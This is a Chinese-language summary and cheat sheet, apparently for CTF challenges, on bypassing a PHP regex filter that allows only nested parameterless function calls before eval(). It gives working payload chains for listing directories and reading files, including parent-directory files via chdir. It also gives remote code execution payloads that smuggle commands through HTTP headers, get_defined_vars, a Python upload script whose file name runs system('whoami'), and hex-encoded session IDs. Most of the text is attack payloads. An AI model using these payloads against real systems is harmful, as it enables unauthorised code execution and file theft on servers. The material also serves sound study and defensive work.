PHP 无参数读文件与 RCE 总结
0x01 核心原理
什么是无参数?
即函数括号内只能嵌套其他函数,不能出现字符串、数字或变量参数。
核心正则限制:
if(';'===preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])){eval($_GET['code']);}[^\W]+:匹配函数名(字母、数字、下划线)。(?R)?:递归匹配整个模式,允许无限嵌套。- 允许:
a(b(c())) - 禁止:
a('b')或a(b,'c')
解题核心思想:
要想读文件或执行命令,必须找到返回值可控的无参函数,将其作为内层函数的返回值传给外层。
0x02 无参数任意文件读取
读文件的前提是列目录,列目录的核心是构造当前目录.或上级目录..。
1. 如何构造.(当前目录)
方法一:localeconv()+current()(最稳定)localeconv()返回包含本地数字及货币格式信息的数组,其数组的第一个元素就是.。
current()/pos()/reset():均可以获取数组的第一个单元。
print_r(scandir(current(localeconv())));// pos(localeconv()) 也可方法二:chr(46)构造法chr(46)即字符.。如何无参构造数字 46?
- chr(time()):
chr()以 256 为周期,time()不断递增,必然存在time()%256 == 46的时刻。 - chr(current(localtime(time()))):
localtime()返回的数组第一个值是秒(0-59),最多等 60 秒必然出现 46。 - 数学函数链 (phpversion()):利用 PHP 版本号进行数学运算,极度依赖 PHP 版本,不实用,了解即可:
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
方法三:随机哈希构造法 (看运气,需多刷新)
hebrevc(crypt(arg)):生成的 hash 第一个字符有小概率是.,用chr(ord())提取。print_r(scandir(chr(ord(hebrevc(crypt(time()))))));strrev(crypt(serialize(array()))):生成的 hash 最后一个字符有概率是.,用strrev()逆序后再用chr(ord())提取第一个字符。
方法四:直接绝对路径
scandir(getcwd());// 获取当前工作目录scandir(realpath('.'));// 结合上面的构造点2. 如何读取指定文件
列出的目录是一个数组,我们需要利用数组操作函数定位到目标文件。
- 最后一个文件:
end(scandir(...)) - 倒数第二个文件:
next(array_reverse(scandir(...))) - 随机/正数第三个文件:
array_rand(array_flip(scandir(...)))(交换键值,随机取键名)
读文件函数:show_source()/highlight_file()(直接回显)、readfile()/file_get_contents()(回显在源码中)、readgzfile()(常用于绕过关键字过滤)。
3. 如何构造..(上级目录)
- 方法一:
dirname()print_r(scandir(dirname(getcwd())));// 查看上一级目录 - 方法二:利用数组特性
scandir返回的数组前两个元素固定是.和..,因此next()就是..。print_r(scandir(next(scandir(getcwd()))));// 查看上一级目录
4. 读取上级目录文件
直接读上级文件会报错(默认在当前目录寻找),必须先用chdir()切换工作目录:
// 切换到上级目录并随机读取文件show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));0x03 无参数命令执行 (RCE)
既然函数不能带参数,我们就把要执行的命令放在别处(HTTP头、全局变量、Session等),再用无参函数去取。
1. 利用 HTTP 请求头
核心函数:getallheaders()/apache_request_headers()
返回包含所有 HTTP 请求头的数组。
⚠️ 环境注意:此函数原本仅限 Apache 环境,但PHP 7.3+ 的 FPM 模式也支持了该函数,因此在高版本 Nginx 下也可用。
Payload:
GET ?code=eval(pos(getallheaders())); HTTP/1.1 Leon: phpinfo();(根据请求头排序不同,可能需要用end()等函数定位到你控制的 Header 字段)
2. 利用全局变量 (最通用)
核心函数:get_defined_vars()
返回由所有已定义变量组成的数组,结构通常为:[0=>$_GET, 1=>$_POST, 2=>$_COOKIE, 3=>$_FILES, 4=>$_SERVER]。
Payload (GET传参):
GET ?leon=phpinfo();&code=eval(pos(pos(get_defined_vars()))); HTTP/1.1解析:第一个pos()取到$_GET数组,第二个pos()取到$_GET中的第一个键值phpinfo();。
Payload (利用 FILES 传参):$_FILES通常在数组末尾,需用end()定位。将 Payload 作为上传文件的文件名。
importrequests files={"system('whoami');":""}r=requests.post('http://target/?code=eval(pos(pos(end(get_defined_vars()))));',files=files)print(r.text)3. 利用 Session
核心函数:session_id()+session_start()session_id()可以获取/设置当前会话 ID。
限制与绕过:
会话 ID 仅允许字符:a-z A-Z 0-9 , -。无法直接传入括号等特殊字符。
绕过方法:传入十六进制字符串,配合hex2bin()转换。
Payload:
GET ?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1 Cookie: PHPSESSID=706870696e666f28293b(注:706870696e666f28293b是phpinfo();的十六进制编码)
4. 利用环境变量
核心函数:getenv()
在 PHP 7.1+ 可不传参,返回所有环境变量。
限制:
默认php.ini中variables_order = "GPCS",不包含 Environment (E),导致获取不到自定义环境变量。需改为"EGPCS"才能利用,因此实战利用条件较苛刻。
0x04 核心函数速查表 (Cheatsheet)
| 目的 | 常用函数 | 备注 |
|---|---|---|
获取当前目录. | current(localeconv()) | pos()/reset()同理 |
获取上级目录.. | next(scandir(getcwd()))dirname(getcwd()) | 数组第二个元素固定是.. |
| 数组指针操作 | current()/pos()(首)end()(尾)next()(下一个)array_reverse()(逆序) | 组合使用定位目标文件 |
| 随机数组取值 | array_rand(array_flip()) | 盲读文件神器 |
| 读文件 | show_source()/highlight_file()readfile()/file_get_contents()readgzfile() | readgzfile可绕过部分过滤 |
| 获取外部数据(RCE) | getallheaders()(需Apache或PHP7.3+)get_defined_vars()(通用)session_id(session_start())(需hex2bin) | 核心RCE手段 |